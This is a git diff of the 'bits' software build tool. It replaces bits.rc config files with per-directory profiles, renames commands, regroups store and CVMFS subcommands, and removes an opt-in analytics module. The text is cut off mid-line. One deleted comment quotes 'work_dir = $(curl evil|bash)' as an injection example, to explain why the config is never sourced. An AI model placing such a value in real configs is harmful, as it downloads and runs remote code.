diff --git a/README.md b/README.md index 7e472c33..9eb3b0b2 100644 --- a/README.md +++ b/README.md @@ -55,56 +55,81 @@ bits doctor ROOT | `bits load ` | Print commands to load a module (must be `eval`'d). | | `bits q [regex]` | List available modules. | | `bits clean` | Remove stale build artifacts from a temporary build area. | -| `bits cleanup` | Evict old or infrequently used packages from a persistent workDir. | +| `bits prune` | Evict old or infrequently used packages from a persistent workDir (was `bits cleanup`, still accepted as a deprecated alias). | | `bits doctor [...]` | Check that the system satisfies all recipe requirements before building. | | `bits doctor --runner` | Validate the full build-runner environment (compiler, git, Docker, podman, CVMFS, disk, store). | | `bits verify --from-manifest FILE` | Confirm a live deployment matches the build manifest (SHA-256 and provider commits). | +Two admin/CI groups act on shared infrastructure: **`bits store`** (`ls`, `verify`, +`gc`, `stats`, `upload`) manages the S3 binary store, and **`bits cvmfs`** +(`platforms`, `show`, `summary`, `stage`, `publish`) inspects a deployed CVMFS tree +and drives producer-side publishing. `bits publish` now means publish-to-CVMFS only. + [Full command reference](docs/REFERENCE.md#16-command-line-reference) --- ## Configuration -Use `bits init` to write persistent settings to `bits.rc` (created in the current directory): +Run `bits init` with configuration options (and no package) to record them as a +per-directory profile, so you do not repeat them on every build: ```bash -bits init --organisation LHCB \ - --work-dir /path/to/sw \ +bits init --work-dir /path/to/sw \ --remote-store https://mybucket/builds ``` -Or write `bits.rc` by hand (INI format, `[bits]` section): - -```ini -[bits] -organisation = LHCB -work_dir = /path/to/sw -remote_store = https://s3.cern.ch/swift/v1/alibuild-repo -prerequisites_url = https://lhcb-software.web.cern.ch/ -cvmfs_repos = /cvmfs/lhcbdev.cern.ch,/cvmfs/sft.cern.ch -``` - -`organisation` is written **uppercase** (`ALICE`, `LHCB`, …). Bits lowercases it +The profile is stored in `./.bitsuse` (or under `~/.bits/use/` when the current +directory is not writeable). `--architecture` is saved to its `[common]` section; +`--remote-store`, `--write-store`, `--defaults`, `-c/--config-dir`, +`-w/--work-dir` and `--reference-sources` are saved to `[build]`. `bits use` +records the same kind of profile from any command's flags (e.g. +`bits use build --docker`, or `bits use build --store-integrity` to enable +SHA-256 verification of every recalled tarball). + +Global settings come from environment variables: + +| Variable | Related flag | Description | +|----------|--------------|-------------| +| `$BITS_ORGANISATION` | `--organisation` | Community name (uppercase). Used to auto-bootstrap the recipe repo. | +| `$BITS_WORK_DIR` | `-w` / `--work-dir` | Output directory for built packages (default: `sw`). | +| `$BITS_REPO_DIR` | `-c` / `--config-dir` | Root directory for recipe repositories. | +| `$BITS_PROVIDERS` | `--providers` | Repository provider set URL(s). | +| `$BITS_PATH` | `--search-path` | Recipe search path. | +| `$BITS_S3_STORE` | `--remote-store` (store ops) | Default S3 store for `bits store` (`gc`/`stats`/`upload`), `certify`, `publish`, `compliance`. | +| `$BITS_PREREQUISITES_URL` | — | URL shown when `bits doctor` cannot find the C++ compiler or git. | +| `$BITS_CVMFS_REPOS` | `--cvmfs-repos` | Comma-separated CVMFS mount paths checked by `bits doctor --runner`. | + +`$BITS_ORGANISATION` is set **uppercase** (`ALICE`, `LHCB`, …). Bits lowercases it internally when resolving the community recipe repository from bits-providers (e.g. `LHCB` → `lhcb.bits.sh` → `https://github.com/bitsorg/lhcb.bits`). -Bits looks for `bits.rc` in: `--rc-file FILE` → `./bits.rc` → `./.bitsrc` → `~/.bitsrc`. +[Configuration details](docs/USERGUIDE.md#4-configuration) -Useful `[bits]` keys: +--- -| Key | CLI flag | Description | -|-----|----------|-------------| -| `organisation` | `--organisation` | Community name (uppercase). Used to auto-bootstrap the recipe repo. | -| `work_dir` | `-w` / `--work-dir` | Output directory for built packages (default: `sw`). | -| `remote_store` | `--remote-store` | Binary store URL for pre-built tarball retrieval. | -| `write_store` | `--write-store` | Binary store URL for uploading newly built tarballs. | -| `prerequisites_url` | — | URL shown when `bits doctor` cannot find the C++ compiler or git. | -| `cvmfs_repos` | — | Comma-separated CVMFS mount paths checked by `bits doctor --runner`. | -| `provider_policy` | — | `name:prepend\|append` pairs controlling `BITS_PATH` insertion order. | -| `store_integrity` | `--store-integrity` | `true` to enable SHA-256 verification of every recalled tarball. | +## Repositories: hierarchy, discovery & reuse -[Configuration details](docs/USERGUIDE.md#4-configuration) +bits keeps the tool, the policy, and the recipes in **separate versioned +repositories**. The registry [`bits-providers`](https://github.com/bitsorg/bits-providers) +maps a community name to its repo; a *community/policy* repo such as +[`stacks.bits`](https://github.com/bitsorg/stacks.bits) sets defaults and CVMFS layout and +`requires:` a shared *recipe pool* like [`lcg.bits`](https://github.com/bitsorg/lcg.bits) +(~1100 recipes). Any recipe with `provides_repository: true` is cloned on demand and added +to the search path, so a build pulls in the pools it needs automatically — and because the +binary store is content-addressed, matching artifacts are reused across communities. + +```bash +# Build an LCG-stack package: run from the community repo; bits auto-pulls lcg.bits +git clone https://github.com/bitsorg/stacks.bits && cd stacks.bits +bits build ROOT --defaults gcc15 +``` + +The entry point is `defaults-release.sh` (composition: `stacks.bits` → +`defaults-release.sh` → `lcg.bits`). For the full model see +[`bits-providers`](https://github.com/bitsorg/bits-providers) and each `*.bits` repository +(e.g. [`stacks.bits`](https://github.com/bitsorg/stacks.bits), +[`alice.bits`](https://github.com/bitsorg/alice.bits)). --- @@ -136,9 +161,9 @@ bits clean # remove temporary build directories bits clean --aggressive-cleanup # also remove source mirrors and tarballs # Persistent workDir cache management (evict old / low-disk-space packages) -bits cleanup --max-age 14 # evict packages not used in the last 14 days -bits cleanup --min-free 100 # free space until at least 100 GiB available -bits cleanup -n # dry-run: show what would be removed +bits prune --max-age 14 # evict packages not used in the last 14 days +bits prune --min-free 100 # free space until at least 100 GiB available +bits prune -n # dry-run: show what would be removed ``` [Cleaning options](docs/USERGUIDE.md#7-cleaning-up) diff --git a/bits b/bits index c28654b2..0f226434 100755 --- a/bits +++ b/bits @@ -5,12 +5,13 @@ BITSDIR="$(dirname "$0")" -# `.bitscmd` saved-arg profile (see `bits use`): inject the [common] + [] +# `.bitsuse` saved-arg profile (see `bits use`): inject the [common] + [] # tokens right after the action, BEFORE anything is parsed, so both the build # path and the module commands (q/enter/…, which read ARGV below) see them. -# Runs python only when a profile exists; `use` opts out; explicit args stay last -# (they win on single-value options). Safe no-op if the action isn't first. -if [[ -f .bitscmd ]]; then +# The profile is a local ./.bitsuse (or legacy ./.bitscmd) or a per-directory +# record under ~/.bits/use; the guard fires for any of them and python resolves +# which applies (a no-op when none does). `use` opts out; explicit args stay last. +if [[ -f .bitsuse || -f .bitscmd || -d "$HOME/.bits/use" ]]; then _bits_prof=() while IFS= read -r -d '' _bits_t; do _bits_prof+=("$_bits_t"); done \ < <(BITS_SELF="${BITSDIR}" python3 -c 'import os,sys; sys.path.insert(0, os.environ.get("BITS_SELF","")); from bits_helpers.bits_use import main; sys.exit(main())' --rewrite0 -- "$@") @@ -20,9 +21,9 @@ fi ARGV=("$@"); ARGC=$# # ARGC must be a plain integer, not an array -# `bits preload …` MUST be handled before the global `--config` pre-parse below, -# which would otherwise swallow preload's own `--config ` (a name clash with -# the bits.rc `--config`). Post-publish CVMFS filebundle generator: traces the +# `bits preload …` is handled up-front (before module/dispatch setup) so its own +# `--config ` is not consumed by later processing. Post-publish CVMFS +# filebundle generator: traces the # deployed tests (strace, optionally --docker) and writes .cvmfsbundle-* into one # tar. Self-contained; needs no work dir. Uses the raw ARGV, unmangled. if [[ "${ARGV[0]:-}" == "preload" ]]; then @@ -292,101 +293,33 @@ function _bt_mark() { _BT_PREV="$now" } -function readBitsRc() { - # SECURITY: never source the config file (a crafted value like - # work_dir = $(curl evil|bash) would execute). The launcher itself needs only - # the work directory for module operations; every other bits.rc setting - # (config_dir, architecture, defaults, organisation, providers, ...) is read - # by the Python layer in bits_helpers/args.py. Extract work_dir with awk — - # flat "work_dir = value" or a value inside a leading [bits] section both - # work; sw_dir is accepted as a deprecated alias. - local cfgfile="$1" - [[ -f "$cfgfile" ]] || return 0 - work_dir="$(awk ' - { line=$0; sub(/^[[:space:]]*/,"",line); sub(/[[:space:]]*$/,"",line) - if (line ~ /^(work_dir|sw_dir)[[:space:]]*=/) { - sub(/^(work_dir|sw_dir)[[:space:]]*=[[:space:]]*/,"",line) - print line; exit } }' "$cfgfile")" - return 0 -} - -function checkLegacyBitsRc() { - # The bits.rc format was simplified. Reject old-style files loudly rather - # than silently ignoring renamed/removed keys. Old markers: the deprecated - # keys below, or any section other than [bits]. - local cfgfile="$1" - [[ -f "$cfgfile" ]] || return 0 - local bad - bad="$(awk ' - /^[[:space:]]*\[/ { - if ($0 !~ /^[[:space:]]*\[bits\][[:space:]]*$/) { print " section " $0 } ; next } - /^[[:space:]]*(repo_dir|sw_dir|pkg_prefix|branding)[[:space:]]*=/ { - k=$0; sub(/^[[:space:]]*/,"",k); sub(/[[:space:]]*=.*/,"",k); print " key " k } - ' "$cfgfile")" - [[ -z "$bad" ]] && return 0 - { - echo "ERROR: $cfgfile uses the old bits.rc format. Offending entries:" - echo "$bad" - echo - echo "Please update it (a flat key = value file, or a single [bits] section):" - echo " repo_dir -> config_dir" - echo " sw_dir -> work_dir" - echo " pkg_prefix -> removed; the display prefix comes from the aliBuild wrapper (BITS_PKG_PREFIX)" - echo " branding -> removed" - echo "(search_path is still supported: it seeds BITS_PATH so recipes in a" - echo " sub-repo such as ./lcg.bits are found, e.g. for 'bits build ROOT'.)" - echo "Per-organisation [NAME] sections are no longer supported." - echo - echo "Example:" - echo " organisation = stacks" - echo " config_dir = ." - echo " search_path = lcg" - } >&2 - exit 1 -} - function configBits() { - # Backward-compatibility default for the work directory. NOTE: the display - # prefix (BITS_PKG_PREFIX) and branding come from the ENVIRONMENT only — the - # aliBuild wrapper exports them for ALICE-style "VO_ALICE@pkg::ver" output; - # an empty BITS_PKG_PREFIX makes `bits q` print the native "/". - # organisation (registry/provider selection) and all other settings are - # handled by the Python layer, not here. - BITS_WORK_DIR=${BITS_WORK_DIR:-"sw"} - - cfile="" - for cfg in "$1" bits.rc .bitsrc "$HOME/.bitsrc" - do - [[ -n "$cfg" && -f "$cfg" ]] && { cfile="$cfg"; break; } - done - - local work_dir= - [[ -n "$cfile" ]] && checkLegacyBitsRc "$cfile" - [[ -n "$cfile" ]] && readBitsRc "$cfile" - - export BITS_WORK_DIR=${work_dir:-$BITS_WORK_DIR} + # The work-directory default plus the display prefix (BITS_PKG_PREFIX) and + # branding come from the ENVIRONMENT only — the aliBuild wrapper exports them + # for ALICE-style "VO_ALICE@pkg::ver" output; an empty BITS_PKG_PREFIX makes + # `bits q` print the native "/". config_dir/architecture/ + # providers/... are handled by the Python layer (-w overrides BITS_WORK_DIR). + export BITS_WORK_DIR=${BITS_WORK_DIR:-"sw"} export BITS_PKG_PREFIX=${BITS_PKG_PREFIX:-} } -config_file="" - -for ((i=0;i<$ARGC;i++)); do - arg=${ARGV[$i]} - opt=${arg%%=*} - val=${arg##*=} - case $opt in - --config) - config_file=$val - ;; - *) - new_args+=("$arg") - ;; - esac -done - -configBits "$config_file" - -set -- "${new_args[@]}" +configBits + +# Deprecated command aliases (Phase 3.4): warn once and forward to the grouped +# form. One arm per alias — retiring one is deleting its arm. Kept one release +# for callers in sibling repos (see Phase 3.4 §7). Runs before the group arms +# below so a rewritten command flows into the right one. +case "${1:-}" in + cvmfs-stage) + echo "warning: 'bits cvmfs-stage' is deprecated; use 'bits cvmfs stage'" >&2 + shift; set -- cvmfs stage "$@" ;; + cvmfs-publish) + echo "warning: 'bits cvmfs-publish' is deprecated; use 'bits cvmfs publish'" >&2 + shift; set -- cvmfs publish "$@" ;; + store-stats) + echo "warning: 'bits store-stats' is deprecated; use 'bits store stats'" >&2 + shift; set -- store stats "$@" ;; +esac # `bits store …` → bitsStore (S3 content-store inspection, verification, cleanup). # Handled before work-dir/module setup: the store tool talks to S3, not the local @@ -397,49 +330,29 @@ if [[ "${1:-}" == "store" ]]; then exec "$BITSDIR/bitsStore" "$@" fi -# `bits use …` → save/show/clear a per-command arg profile in ./.bitscmd, so -# repeated commands stay short (the injection at the top of this script consumes -# it). Handled here, before work-dir/module setup: it only touches ./.bitscmd. +# `bits use …` → save/show/clear a per-directory arg profile (./.bitsuse, or a +# ~/.bits/use record when the cwd is not writeable), so repeated commands stay +# short (the injection at the top of this script consumes it). Handled here, +# before work-dir/module setup: it only touches the profile. if [[ "${1:-}" == "use" ]]; then shift BITS_SELF="${BITSDIR}" exec python3 -c 'import os,sys; sys.path.insert(0, os.environ.get("BITS_SELF","")); from bits_helpers.bits_use import main; sys.exit(main())' "$@" fi -# `bits cvmfs {platforms,show,summary} …` → read-only inspection of a deployed -# CVMFS bits tree: platforms + host compatibility, a package's build/provenance -# from .meta.json (no jq), and a per-build_id summary. Reads the tree only, so it -# needs no work dir; distinct from cvmfs-stage/cvmfs-publish (producer side). +# `bits cvmfs {platforms,show,summary,stage,publish} …` → the CVMFS group. +# platforms/show/summary read a deployed tree (no work dir); stage/publish are +# the producer-side ops (ADR-0011), delegated inside cvmfs_inspect.main to their +# own CLIs. Handled here, before work-dir/module setup: it talks to the tree / +# S3, not the local install tree. if [[ "${1:-}" == "cvmfs" ]]; then shift BITS_SELF="${BITSDIR}" exec python3 -c 'import os,sys; sys.path.insert(0, os.environ.get("BITS_SELF","")); from bits_helpers.cvmfs_inspect import main; sys.exit(main())' "$@" fi -# `bits cvmfs-stage …` → producer-side CVMFS staging (ADR-0011). -# Prepares a package into a staging S3 prefix with the canonical publisher and -# names the catalog prepub must graft. Handled here, before work-dir/module -# setup, for the same reason as `store`: it talks to S3 and a tar, not to the -# local install tree. -# -# Run like the view helper — source dir on sys.path via BITS_SELF, never -# PYTHONPATH — so the helper's imports cannot leak into the caller's -# environment. stdout is the two eval-able assignments and nothing else; -# progress goes to stderr. -if [[ "${1:-}" == "cvmfs-stage" ]]; then - shift - BITS_SELF="${BITSDIR}" exec python3 -c 'import os,sys; sys.path.insert(0, os.environ.get("BITS_SELF","")); from bits_helpers.cvmfs_stage_cmd import main; sys.exit(main())' "$@" -fi - -# `bits cvmfs-publish …` → producer-side staged publish of a build's packages -# (concurrent, biggest-first). Same source-on-sys.path convention as cvmfs-stage. -if [[ "${1:-}" == "cvmfs-publish" ]]; then - shift - BITS_SELF="${BITSDIR}" exec python3 -c 'import os,sys; sys.path.insert(0, os.environ.get("BITS_SELF","")); from bits_helpers.cvmfs_publish import main; sys.exit(main())' "$@" -fi - for arg in "$@" do case $arg in - architecture|brew|build|certify|clean|cleanup|compliance|cvmfs-path|deps|doctor|gc|import|init|publish|stats|status|store-stats|verify|version|-debug|-d) + architecture|brew|build|certify|clean|cleanup|prune|compliance|cvmfs-path|deps|doctor|import|init|publish|stats|status|verify|version|-debug|-d) mkdir -p "$BITS_WORK_DIR" || echo "Cannot create directory: $BITS_WORK_DIR" "$BITSDIR/bitsBuild" "$@" exit $? @@ -469,17 +382,6 @@ else EZ= fi -# If out of bits build directory, invoke bitsenv - -#if [ ! -f .bitsrc -a ! -f bits.rc ] -#then -# bitsenv=`which bitsenv` -# if [ ! -z $bitsenv ] -# then -# exec $bitsenv $@ -# fi -#fi - # My operating system UNAME=$(uname) @@ -583,17 +485,38 @@ _ARCH_GIVEN=; [[ -n "$ARCHITECTURE" ]] && _ARCH_GIVEN=1 # back to python only to disambiguate several installed arches (prefer the host's) # or when nothing is installed yet (e.g. a first build). if [[ -z "$_ARCH_GIVEN" ]]; then + # A real arch dir carries a CPU token (x86-64/aarch64/arm64/ppc64...). The + # reuse-from-modules overlays live under MODULES//, so MODULES/ + # can also hold dirs with no CPU token — exclude those so an overlay + # is never mistaken for an architecture. _present=() for _a in $(ls -1t "$WORK_DIR/MODULES" 2> /dev/null); do - [[ -d "$WORK_DIR/MODULES/$_a" ]] && _present+=("$_a") + [[ -d "$WORK_DIR/MODULES/$_a" ]] || continue + [[ "$_a" =~ (x86[-_]64|aarch64|arm64|ppc64le|ppc64) ]] || continue + _present+=("$_a") done if [[ ${#_present[@]} -eq 1 ]]; then ARCHITECTURE="${_present[0]}" # sole installed arch — no python spawn elif [[ ${#_present[@]} -gt 1 ]]; then - # Several present: prefer the host's native arch if installed, else newest. + # Several present: prefer the host's native arch if installed. _host="$("bitsBuild" architecture 2> /dev/null || "$BITSDIR/bitsBuild" architecture 2> /dev/null || true)" ARCHITECTURE= - for _a in "${_present[@]}"; do [[ "$_a" == "$_host" ]] && { ARCHITECTURE="$_a"; break; }; done + if [[ -n "$_host" ]]; then + for _a in "${_present[@]}"; do [[ "$_a" == "$_host" ]] && { ARCHITECTURE="$_a"; break; }; done + fi + # No host match (or the host-arch probe momentarily failed → empty $_host): + # do not blindly pick the newest tree — prefer an arch whose module tree + # actually holds the requested package, so a failed probe cannot send + # q/enter/load to a tree that lacks the module. + if [[ -z "$ARCHITECTURE" ]]; then + _want= + for _m in "${ARGS[@]}"; do [[ "$_m" == -* ]] && continue; _want="${_m%%/*}"; break; done + if [[ -n "$_want" ]]; then + for _a in "${_present[@]}"; do + [[ -d "$WORK_DIR/MODULES/$_a/$_want" ]] && { ARCHITECTURE="$_a"; break; } + done + fi + fi if [[ -z "$ARCHITECTURE" ]]; then ARCHITECTURE="${_present[0]}" # ls -1t → most recently built printf "${EY}NOTE: several architectures present; selected most recent: %s${EZ}\n" "$ARCHITECTURE" >&2 diff --git a/bitsBuild b/bitsBuild index f611b7e2..14c5e88b 100755 --- a/bitsBuild +++ b/bitsBuild @@ -5,7 +5,7 @@ """bits build driver. Entry point for all ``bits`` sub-commands (build, clean, deps, doctor, init, -architecture, version, analytics). ``bitsDeps`` and ``bitsDoctor`` are thin +architecture, version). ``bitsDeps`` and ``bitsDoctor`` are thin wrappers that exec this script with the matching sub-command prepended. """ # Standard library @@ -18,10 +18,6 @@ from os.path import exists, expanduser # Internal from bits_helpers import __version__ -from bits_helpers.analytics import (askForAnalytics, decideAnalytics, - disable_analytics, enable_analytics, - report_event, report_exception, - report_screenview) from bits_helpers.args import doParseArgs from bits_helpers.build import doBuild from bits_helpers.clean import doClean @@ -36,10 +32,7 @@ from bits_helpers.verify import doVerify from bits_helpers.status import doStatus from bits_helpers.stats import doStats from bits_helpers.log import debug, error, info, logger -from bits_helpers.utilities import detectArch - -# Google Analytics property for bits usage reporting. -_ANALYTICS_TRACKING_ID = "UA-77346950-1" +from bits_helpers.arch import detectArch def doMain(args, parser): @@ -69,7 +62,6 @@ def doMain(args, parser): "BASH_ENV": "", "BITS_ARCHITECTURE": args.architecture, }) - report_screenview(args.action) # Move to the specified working directory before doing anything else. if hasattr(args, "chdir"): @@ -102,7 +94,7 @@ def doMain(args, parser): aggressiveCleanup=args.aggressiveCleanup, dryRun=args.dryRun) sys.exit(0) - if args.action == "cleanup": + if args.action == "prune": doCleanup(args, parser) sys.exit(0) @@ -115,7 +107,7 @@ def doMain(args, parser): sys.exit(0) if args.action == "publish": - _rc = doPublish(args, parser) # --view returns a bool; package path returns None + _rc = doPublish(args, parser) # --release-view returns a bool; package path returns None sys.exit(0 if _rc is None or _rc else 1) if args.action == "certify": @@ -123,15 +115,6 @@ def doMain(args, parser): doCertify(args, parser) sys.exit(0) - if args.action == "gc": - from bits_helpers.gc import doGc - doGc(args, parser) - sys.exit(0) - - if args.action == "store-stats": - from bits_helpers.store_stats import doStoreStats - sys.exit(doStoreStats(args, parser) or 0) - if args.action == "compliance": from bits_helpers.compliance import doCompliance sys.exit(doCompliance(args, parser)) @@ -159,11 +142,8 @@ if __name__ == "__main__": logger.setLevel(logging.DEBUG if args.debug else logging.INFO) - os.environ["BITS_ANALYTICS_ID"] = _ANALYTICS_TRACKING_ID os.environ["BITS_VERSION"] = __version__ or "" - # NOTE: the "analytics" subcommand is currently disabled in args.py; the - # enable/disable helpers stay importable for the opt-out env-var path. if args.action == "architecture": arch = detectArch() @@ -199,7 +179,6 @@ if __name__ == "__main__": except KeyboardInterrupt: info("Interrupted by user (Ctrl-C)") - report_event("user", "ctrlc") sys.exit(1) except SystemExit as e: # SystemExit is NOT an Exception, so a bare sys.exit() deep in the setup path @@ -215,5 +194,4 @@ if __name__ == "__main__": raise except Exception as e: traceback.print_exc() - report_exception(e) sys.exit(1) diff --git a/bitsStore b/bitsStore index ecba09e6..94889aef 100755 --- a/bitsStore +++ b/bitsStore @@ -65,6 +65,9 @@ except Exception: STORE = os.environ["BITSSTORE_STORE"] PROG = "bitsStore" NOW = datetime.datetime.now(datetime.timezone.utc) +# Default bits work dir (S3 client + default MANIFESTS) for the gc/stats verbs; +# mirrors bits_helpers.args without importing that heavy module on every call. +_WORKDIR = os.environ.get("BITS_WORK_DIR") or os.environ.get("ALICE_WORK_DIR") or "sw" # ── S3 helpers ──────────────────────────────────────────────────────────────── @@ -732,11 +735,83 @@ def main(): help="S3 object key, e.g. MANIFESTS/rev-index/// " "or TARS//store/

//") + # gc / stats: store-scoped ops folded in from the old top-level `bits gc` / + # `bits store-stats`. Their handlers live in bits_helpers and build their own + # S3 client, so the dest names below must match what they read. + gp = sub.add_parser("gc", help="reachability GC of the shared store") + gp.add_argument("--trust-manifest", dest="trustManifest", required=True, metavar="PATH", + help="signed common manifest whose hashes are the GC roots (must verify)") + gp.add_argument("--remote-store", "--store", dest="gcStore", metavar="URL", default=STORE, + help="S3 store URL/bucket to sweep (default: %(default)s)") + gp.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=None, + help="architecture store tree to sweep (default: detected)") + gp.add_argument("-w", "--work-dir", dest="workDir", metavar="WORKDIR", default=_WORKDIR, + help="bits work directory for the S3 client (default: %(default)s)") + gp.add_argument("--grace-days", dest="graceDays", type=float, default=7.0, metavar="DAYS", + help="never sweep an object younger than DAYS (default: %(default)s)") + gp.add_argument("--allow-empty", dest="allowEmpty", action="store_true", default=False, + help="permit sweeping when the verified manifest has zero roots (dangerous)") + gp.add_argument("-n", "--dry-run", dest="dryRun", action="store_true", default=False, + help="report what would be swept without deleting") + + tp = sub.add_parser("stats", help="summarise store usage (per-arch + per-build/signed)") + tp.add_argument("--remote-store", "--store", dest="storeStatsStore", metavar="URL", default=STORE, + help="S3 store URL/bucket to summarise (default: %(default)s)") + tp.add_argument("--manifests", dest="manifests", metavar="PATH", nargs="*", default=None, + help="build-manifest JSON files/dirs (default: WORKDIR/MANIFESTS)") + tp.add_argument("--trust-manifest", dest="trustManifest", metavar="PATH", default=None, + help="comma-separated signed common manifests marking which builds are signed") + tp.add_argument("--tars-prefix", dest="tarsPrefix", metavar="PREFIX", default="TARS/", + help="store root prefix under which /store/... lives (default: %(default)s)") + tp.add_argument("-o", "--out", dest="out", metavar="FILE", default="store.json", + help="path to write the store document (default: %(default)s)") + tp.add_argument("--monitor-url", dest="monitorUrl", metavar="URL", default=None, + help="also POST Prometheus gauges here (falls back to $METRICS_URL)") + tp.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=None, + help="architecture for store-path resolution (default: detected)") + tp.add_argument("-w", "--work-dir", dest="workDir", metavar="WORKDIR", default=_WORKDIR, + help="bits work directory (S3 client + default MANIFESTS) (default: %(default)s)") + + up = sub.add_parser("upload", help="upload one built package's tarball to the S3 store") + up.add_argument("package", metavar="PACKAGE", help="package name to upload (build it first)") + up.add_argument("--version", dest="version", metavar="VER", default=None, + help="package version (default: the newest built)") + up.add_argument("--remote-store", "--store", "--write-store", dest="uploadStore", metavar="URL", + default=STORE, help="S3 store to write to (default: %(default)s)") + up.add_argument("-a", "--architecture", dest="architecture", metavar="ARCH", default=None, + help="architecture (default: detected)") + up.add_argument("-w", "--work-dir", dest="workDir", metavar="WORKDIR", default=_WORKDIR, + help="bits work directory holding the built package (default: %(default)s)") + up.add_argument("-n", "--dry-run", dest="dryRun", action="store_true", default=False, + help="report what would be uploaded without writing") + argv = sys.argv[1:] - if not argv or argv[0] not in ("ls", "rm", "verify", "cat", "-h", "--help"): + if not argv or argv[0] not in ("ls", "rm", "verify", "cat", "gc", "stats", "upload", "-h", "--help"): argv = ["ls"] + argv # default verb args = ap.parse_args(argv) + # Store-scoped verbs (gc/stats/upload) delegate to bits_helpers handlers and + # do NOT use the ls/rm selection machinery — handle them before the + # selection-attr normalisation below (which would csv-mangle package/version). + if args.verb in ("gc", "stats", "upload"): + if not os.environ.get("AWS_ACCESS_KEY_ID"): + sys.exit(f"{PROG}: no S3 credentials — put them in ~/.bits/s3keys " + "(or set $BITS_AWS_KEYS_FILE / AWS_ACCESS_KEY_ID).") + if not getattr(args, "architecture", None): + from bits_helpers.arch import detectArch + args.architecture = detectArch() + if args.verb == "gc": + from bits_helpers.gc import doGc + doGc(args, ap) + return 0 + if args.verb == "stats": + from bits_helpers.store_stats import doStoreStats + return doStoreStats(args, ap) or 0 + from bits_helpers.publish import _publish_s3 # upload + _publish_s3(args.package, args.version, args.architecture, args.workDir, + args.uploadStore, ap, dry_run=args.dryRun) + return 0 + # Normalise multi-value filters; give safe defaults for attrs absent on a verb. for name in ("arch", "group", "package", "version", "bits_version", "bits_dist"): setattr(args, name, csv(getattr(args, name, None))) diff --git a/bits_helpers/Makeflow.jnj b/bits_helpers/Makeflow.jnj deleted file mode 100644 index c9f6bc94..00000000 --- a/bits_helpers/Makeflow.jnj +++ /dev/null @@ -1,22 +0,0 @@ -# Makeflow template - -{% for (p, build_command, tar_command, upload_command, cachedTarball, breq, checkout_cmd) in ToDo %} -{% if checkout_cmd %} -{{p}}.checkout: - LOCAL {{checkout_cmd}} && touch {{p}}.checkout - -{% endif %} -{{p}}.build: {% if checkout_cmd %}{{p}}.checkout {% endif %}{{breq}} - LOCAL {{build_command}} && touch {{p}}.build - -{% if tar_command %} -{{p}}.tar: {{p}}.build - LOCAL {{tar_command}} && touch {{p}}.tar - -{% if upload_command %} -{{p}}.upload: {{p}}.tar - LOCAL {{upload_command}} && touch {{p}}.upload - -{% endif %} -{% endif %} -{% endfor %} diff --git a/bits_helpers/analytics.py b/bits_helpers/analytics.py deleted file mode 100644 index b9ae8934..00000000 --- a/bits_helpers/analytics.py +++ /dev/null @@ -1,148 +0,0 @@ -#!/usr/bin/env python3 -# SPDX-FileCopyrightText: 2015-2026 CERN -# SPDX-License-Identifier: GPL-3.0-or-later - -# Standard library -import os -import subprocess -import sys -from os.path import exists, expanduser - -# Internal -from bits_helpers.cmd import getstatusoutput -from bits_helpers.log import banner, debug - - -def generate_analytics_id(): - """Generate and persist a unique analytics UUID via ``uuidgen``. - - Returns ``True`` on success, ``False`` if ``uuidgen`` is unavailable (in - which case analytics are automatically disabled). - """ - os.makedirs(os.path.expanduser("~/.config/bits"), exist_ok=True) - err, output = getstatusoutput("uuidgen > ~/.config/bits/analytics-uuid") - # If an error is found while generating the unique user ID, we disable - # the analytics on the machine. - if err: - debug("Could not generate unique ID for user. Disabling analytics") - getstatusoutput("touch ~/.config/bits/disable-analytics") - return False - return True - -def askForAnalytics(): - """Prompt the user interactively to opt in or out of analytics. - - Returns ``True`` if the user accepts (and a UUID was generated successfully), - ``False`` otherwise. - """ - banner("In order to improve user experience, Bits would like to gather " - "analytics about your builds.\nYou can find all the details at:\n\n" - " https://github.com/bitsorg/bits/blob/master/ANALYTICS.md\n") - a = input("Is that ok for you [YES/no]? ") - if a.strip() and a.strip().lower().startswith("n"): - debug("User requested disabling analytics.") - return disable_analytics() - return generate_analytics_id() - -# Helper function to decide whether or not we should run analytics. -# It's done this way so that we can easily test all the alternatives. -# This is the rationale to enable the analytics: -# - In case user disabled analytics via environment variable or by -# answering no when prompted the first time. Just run as usual. -# - In case there is already an analytics user id, it means the user -# already replied yes to the question wether he wants analytics or -# not, so we proceed with analytics. -# - If we are not running in a tty, run without analytics. -# - In case there is no analytics id, ask wether is ok to have -# analytics. If no, remember the answer and disable it. If yes, -# generate a uuid with uuidgen and remember it. -def decideAnalytics(hasDisableFile, hasUuid, isTty, questionCallback): - """Return ``True`` when analytics should be sent for this invocation. - - Parameters are injected so that each decision branch can be unit-tested - without touching the file system or opening a tty. - """ - if hasDisableFile: - debug("Analytics previously disabled.") - return False - if hasUuid: - debug("User has analytics id. Pushing analytics to Google Analytics.") - return True - if not isTty: - debug("This is not an interactive process and " - "no indication has been given about analytics. Disabling") - return False - return questionCallback() - -def report(eventType, **metadata): - """Fire-and-forget a Google Analytics hit via ``curl``. - - Does nothing when ``BITS_NO_ANALYTICS`` is set in the environment. - """ - if "BITS_NO_ANALYTICS" in os.environ: - return - opts = { - "v": "1", - "tid": os.environ["BITS_ANALYTICS_ID"], - "cid": os.environ["BITS_ANALYTICS_USER_UUID"], - "aip": "1", - "an": "aliBuild", - "av": os.environ["BITS_VERSION"], - "t": eventType - } - opts.update(metadata) - architecture = os.environ["BITS_ARCHITECTURE"] - ostype = "Macintosh" if architecture.startswith("osx") else "Linux" - osversion, osprocessor = architecture.split("_", 1) - args = ["curl", "--max-time", "5", - "--user-agent", "bitsBuild/{} ({}; {} {}) Python/{}".format( - os.environ["BITS_VERSION"], - ostype, - osprocessor, - osversion, - ".".join([str(x) for x in sys.version_info[:3]]) - ) - ] - for k,v in opts.items(): - if not v: - continue - args += ["-d", "%s=%s" %(k,v)] - - args += ["--silent", "--output", "/dev/null", - "https://www.google-analytics.com/collect"] - try: - subprocess.Popen(args) - except Exception: - pass - -def report_event(category, action, label = "", value = None): - report("event", ec=category, ea=action, el = label, ev = value) - -def report_screenview(screen_name): - report("screenview", cd=screen_name) - -def report_timing(category, var, value, label): - report("timing", utc=category, utv=var, utt=value, utl=label) - -def report_exception(e): - report("exception", - exd = e.__class__.__name__, - exf = "1") - -def enable_analytics() -> None: - """Re-enable analytics: remove the disable flag and regenerate a UUID if needed.""" - disable_flag = expanduser("~/.config/bits/disable-analytics") - if exists(disable_flag): - os.unlink(disable_flag) - if not exists(expanduser("~/.config/bits/analytics-uuid")): - generate_analytics_id() - -def 